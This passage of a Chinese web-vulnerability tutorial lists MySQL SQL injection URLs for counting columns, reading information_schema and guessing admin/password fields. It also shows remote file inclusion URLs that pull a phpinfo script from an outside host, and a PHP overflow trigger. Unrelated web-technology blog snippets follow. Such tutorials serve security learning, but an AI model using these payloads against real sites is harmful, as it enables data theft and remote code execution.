使用上面的这些简单漏洞规则,如果模糊测试一些站点的话,是可以找到一些XSS漏洞的,当然这些不是全部的XSS漏洞规则,但是我觉得这些规则比较经典些我测试一些站点的时候,使用这些规则基本上可以找到一些XSS漏洞.
B: SQL Injection
现在,MSSQL的注入技术已经变的很简单,下面的内容我们针对mysql的注入和大家一起讨论下相关的技术,这些技术有简单的,也有一些比较复杂的.另外mysql的注入工具目前没有任何比较强的工具,目前书写一款功能较强的MySQL注入检测工具也基本纳入了2007年的计划内.
下面会针对各种规则,然后对这些规则进行简单的说明,很多规则我相信大家都用过的,不对的地方希望大家给予指针.
下面的这四个语句判断是否存在mysql注入,其中’号类型的测试已经不是很可行,特别在PHP5和mysql5的环境下
http://website/index1.php?id=1' http://website/index1.php?id=1 and 1=1 http://website/index1.php?id=1 and 1=2 http://website/index1.php?id=1 order by 4 //4为判断该表的列数,直到猜测到为止
下面的语句来获取mysql的一些信息,这里我们假设我们使用order by语句判断出的列数为4
http://website/index1.php?id=1 and 1=1 union select 1,2,3,4 http://website/index1.php?id=1 and 1=1 union select version(),database(),user(),4 http://website/index1.php?id=1 and 1=1 union select 1/* http://website/index1.php?id=1 and 1=1 union select version()/* http://website/index1.php?id=1 and 1=1 union select databse()/*
猜测表名:
http://website/index1.php?id=1 and 1=1 union select 1,2,3,4 from database.table where 1=2 //where 1=2 不打印猜测表的内容
这里的猜测就需要大家多靠经验了,如admin user articles news等等,而且必须在指定select的字段个数再使用,否则mysql会报错.
http://website/index1.php?id=1 and 1=1 union select table_schema,table_name,table_rows, table_count from information_schema.tables //如果执行这条语句是可行的,那么恭喜大家可以得到更多的数据库信息了
上面我曾经提到过使用数据库的元数据来获取mysql的信息,就是这里的这个办法,当然前提是系统管理员没有禁止mysql普通用户对元数据库的表查询,如果禁止了则该办法是无效的.
在开始分析mysql数据库到底可以执行到那种程度的注入情况下,我花了一天的时间分析了mysql的系统架构,最终发现通过information_schema数据库提供给mysql用户的元数据可以得到一些mysql数据库的基本信息,例如得到数据库的各个表信息等,还可以得到数据库的权限设置等信息,下面的内容属于临时增加的一个章节,我们一起来讨论下information_schema数据库的一些我们用到的表的具体字段到底是干什么的
1: KEY_COLUMN_USAGE表
- constraint_schema: 存放数据库名
- table_schema: 存放数据库名
- table_name: 存放数据库表信息
- column_name: 存放数据库的字段信息,一般可以获取第一个字段或者自增字段的信息
2: SCHEMA表
- schema_name: 存放数据库名
- default_charater_set_name: 存放charset类型
- default_collation_name: 存放charset相关信息
3: SCHEMA_PRIVILEGES表
- grantee: 存放数据库用户名
- table_schema: 表名
- privilege_type: 权限
4: STATISTICS表
- table_schema: 存放数据库名
- table_name: 存放表名
- index_schema: 数据库名
- index_name: 是否缩引?
- column_name: 存放索引自增字段?
5: TABLES表
- table_schema: 存放数据库名
- table_name: 存放表名
- table_type: 表类型 SYSTEM or BASE TABLE
- engin: MEMORY MYISAM InnoDB
- version:
- table_rows:表的行数
- auto_increment: 自增的总行数
- create_time: 创建表的时间
- update_time: 更新表的时间
- create_options: 创建表时的约束条件
- …
有了这些以后,如果对方系统管理员忽略了这些,则可以达到我们不需要猜测表名而直接获取数据库表名的结果.我在本地测试时一切OK
猜测列名:
http://website/index1.php?id=1 and 1=1 union select username,2,3,4 from user where 1=2
按照这个规则依次类推,如果我们猜测到user表存在username字段,则程序执行是正常的,否则程序会出错,也可以使用where 1=1来打印表的信息,通过这样的办法就可以获取mysql数据库的某些关键表的字段信息,如:admin与password
C: 文件包含漏洞
文件包含漏洞的测试,有以下几个比较简单且有效的办法.
1: 新建一个简单的php代码,如:
<? phpinfo(); ?>
,保存为*.txt格式2: 新建一个简单的php代码,如:
<? phpinfo(); ?>
,保存为无后缀格式然后我们测试时只需要采取下面简单的办法即可,这里我们假设我们下面的文件URL为:
http://bbs.cciss.cn/include.txt http://bbs.cciss.cn/include
漏洞规则:
http://website/file.php?inc=http://bbs.cciss.cn/include.txt http://website/file.php?inc=http://bbs.cciss.cn/include.txt? http://website/file.php?inc=http://bbs.cciss.cn/include? http://website/file.php?inc=http://bbs.cciss.cn/include
使用上面的简单规则即可实现文件包含漏洞的测试,当然得根据具体的返回信息来判断.
例如从XSS漏洞的检测规则可能会发现包含文件漏洞
如果我们知道PHP的某个函数存在缓冲区溢出,我们假设这个PHP的内置函数为
phphtml(char *str)
,那么我们如何利用这样的漏洞呢?我们假设http://website/file.php?inc=test,这里的参数inc经过PHP代码时使用了phphtml内置函数,则可以使用下面的办法来触发漏洞
http://website/file.php?inc=11111111111....n(n为触发漏洞的最大字符数)
当然类似这样的漏洞是需要写程序来自动运行的,然后来触发溢出并执行shellcode.但这里也存在一个问题,即一般情况下,类似PHP本身的溢出漏洞的利用是有些难度存在的.
总结
针对WEB漏洞的挖掘,规则有N多,其中还有很多变种的规则.这里说的基本上是一些可以简单采取手工办法测试的规则,更多的规则是依靠经验不断积累所致
本文比较简单,也没有什么技术含量,只是看到xfocus上介绍WEB漏洞的文章较少,所以才想到提交下,希望对大家有所帮助.
-
Web技术发展历史
2014-01-07 23:17:48讨论Web开发技术的历史,当然要先说说Web的起源。众所周知,Web这个Internet上最热门的应用架构是由Tim Berners-Lee发明的。Web的前身是1980年Tim Berners-Lee负责的Enquire(Enquire Within Upon Everything的简称... -
2017年Web前端技术综述
2018-01-26 20:01:56Web前端应用发展的历史大概经历了三个阶段:第一个阶段使用的是简单的静态页面,第二个阶段使用得是ASP、JSP、PHP等动态脚本语言,第三个阶段是Web2.0阶段,其核心技术是AJAX,同时伴随着SPA的兴起。SPA vs. MPA从... -
基于Python的Web开发
2019-02-26 11:24:29下面来介绍一下基于Python语言的...比如Google的核心代码是用Python语言写的,国内著名的豆瓣网也使用Python技术。Python是脚本语言,开发代码效率高,使用第三方标准库,可以用简洁易读的代码描述强大功能。 Pyth... -
Telesat、OneWeb及SpaceX三个全球宽带低轨卫星星座系统的技术对比
2020-12-08 16:08:59Telesat、OneWeb及SpaceX三个全球宽带低轨卫星星座系统的技术对比线和更复杂的频率复用方案,这些因素都使得系统性能获得了极大提升,同时也降低了各载荷制造与发射成本。在进一步降低成本和增加技术能力方面,扩大... -
Web开发技术选型之Java与PHP
2018-01-07 10:37:50PHP为脚本语言,解释型语言,弱类型,专为Web开发打造。Java为C语言系编程语言,编译型,强类型,有跨平台的特征。从语法简洁性来说,PHP比Java简洁,毕竟PHP诞生比Java晚,同样的逻辑在PHP中表达起来会简洁于Java,... -
Web3D技术的的教学应用研究
2008-04-18 11:12:39【转帖】教学论文 Web3D技术是虚拟现实技术的其中一种实现形式。它是指基于Internet的、依靠软件技术来实现的桌面级虚拟现实技术。 -
浅谈 Web 3.0
2022-03-24 10:40:26这篇文章的目的就是简单解释一下这个「Web 3.0」新概念。 为了更好地理解「Web 3.0」,我们可能需要从 「Web 1.0」和「Web 2.0」说起。 浅谈 Web 3.0「Web 1.0」「Web 2.0」「Web 3.0」中心化的问题?为什么「Web ... -
WEB3.0白皮书
2019-05-16 18:33:50TA 由哪 些技术组成? 如何实现 Web3.0? TA 能带来哪些机会? 我们能从中得到什么? Web3.0 是一个非常前沿的话题,充满了不确定性,也没有任何人能准确预测她何时到来,会以何种形式到来。但趋势已现,仅以此文抛 ... -
Web安全基本概念
2022-03-04 09:25:54CDN的关键技术主要有内容存储和分发技术。 通过dns服务我们可以很快的定位到用户的位置,然后给用户分配最佳cdn节点。 参考链接:https://baijiahao.baidu.com/s?id=1721098433786504052&wfr=spider&for=pc WEB 常见... -
论文研究-基于P2P的语义Web服务合成模型的研究 .pdf
2019-08-14 17:11:54基于P2P的语义Web服务合成模型的研究,赵红梅,,近年来,随着Web服务技术的进一步发展,出现了大量的Web服务,并且随着用户需求日益复杂化,依靠单个Web服务已不能满足用户的需要。 -
Web3生态现状和Web3.0训练营
2022-04-25 15:54:37由Parity、Web3基金会、万向区块链、新链空间携手推出的Web3.0训练营于2020年首次举办,前两期训练营通过为优秀的Web3创业项目团队提供包含技术、产品、资本、生态合作等全方位的支持,已成功助力Subscan、SubQuery... -
那些狂拽炫酷的 Web 网站是怎么搭建的?
2022-04-27 11:22:55随着信息技术的飞速发展,创建网站也成为是一件非常容易的事情。 -
web信息收集
2021-08-03 10:42:43文章目录一、域名信息whois查询whois反查备案信息查询二...3、历史漏洞五、敏感目录文件Web 应用敏感信息探测:网页源码工具.git泄露SVN泄露HG泄露备份文件五、端口扫描六、APP以及其他资产六、网络空间引擎搜索(暗黑引 -
走进JavaWeb技术世界1:Web后端与J2EE的由来
2017-08-29 16:13:36我刚开始做Web开发的时候,根本没有前端,后端之说。 原因很简单,那个时候服务器端的代码就是一切:接受浏览器的请求,实现业务逻辑,访问数据库,用JSP生成HTML,然后发送给浏览器。 即使后来Javascript在... -
Go语言+Beego框架下的Web应用开发
2018-11-27 17:02:58Go语言依靠其独步天下的并发能力,及其媲美C++的效率和Python般的简洁优美,天然就是开发Web应用的利器; 本套教程系统介绍基于Go语言和Beego框架的Web应用开发流程; 并手把手带你完成古诗词网站和博客网站两个实战... -
web安全信息收集
2021-10-30 20:18:21CDN是构建在现有网络基础之上的智能虚拟网络,依靠部署在各地的边缘服务器,通过中心平台的负载均衡、内容分发、调度等功能模块,使用户就近获取所需内容,只有在实际数据交互时才会从远程web服务器响应,降低网络... -
Web3介绍
2022-04-02 17:15:31Web3.0介绍 一个事物的发展,最重要的是早期的红利,如果没有红利,那么这是很难成功的,代币炒作实际上就是提供红利最佳的方式,它既能吸引到人,也能吸引到资金。 web1 时代偏爱出版商 而 web2 时代偏爱平台(以... -
静态web和动态web的区别与联系
2018-07-23 18:35:59静态网页没有数据库的支持,在网站制作和维护方面工作量较大,因此当网站信息量很大时完全依靠静态网页制作方式比较困难; 4. 静态网页的交互性较差,在功能方面有较大的限制。 那么什么是动态网站呢?所谓... -
Web组态
2019-02-25 12:30:31物联网软件本质是传统工业控制组态软件的一个后续发展,但不是简单的升级关系, 具备强大组态配置功能的物联网软件可以成为Web组态软件。Web组态软件和控制组态软件的功能基本是相同的,都需要具备通信组态、监控... -
白帽子讲web安全读后感1
2022-02-07 22:19:47白帽子讲web安全读后感1 ...另外现在app开发喜欢采用浏览器套壳的策略,同时还有h5小程序开发,总之前端技术大有可为. 跨站脚本攻击(XSS) 本文是第三章 跨站脚本攻击(Cross Site Script,简称 XSS),利用网页开发时 -
Web渗透测试之信息收集
2022-01-05 10:14:53可以结合工具和手动挖掘两种方式,当然最重要的还是手动挖掘,得依靠你自己的渗透经验及对web漏洞的理解程度 自动化漏洞检测工具 为了节约时间及提高渗透测试效率,我们可以先用扫描器过一波资产(面试的时候不要说...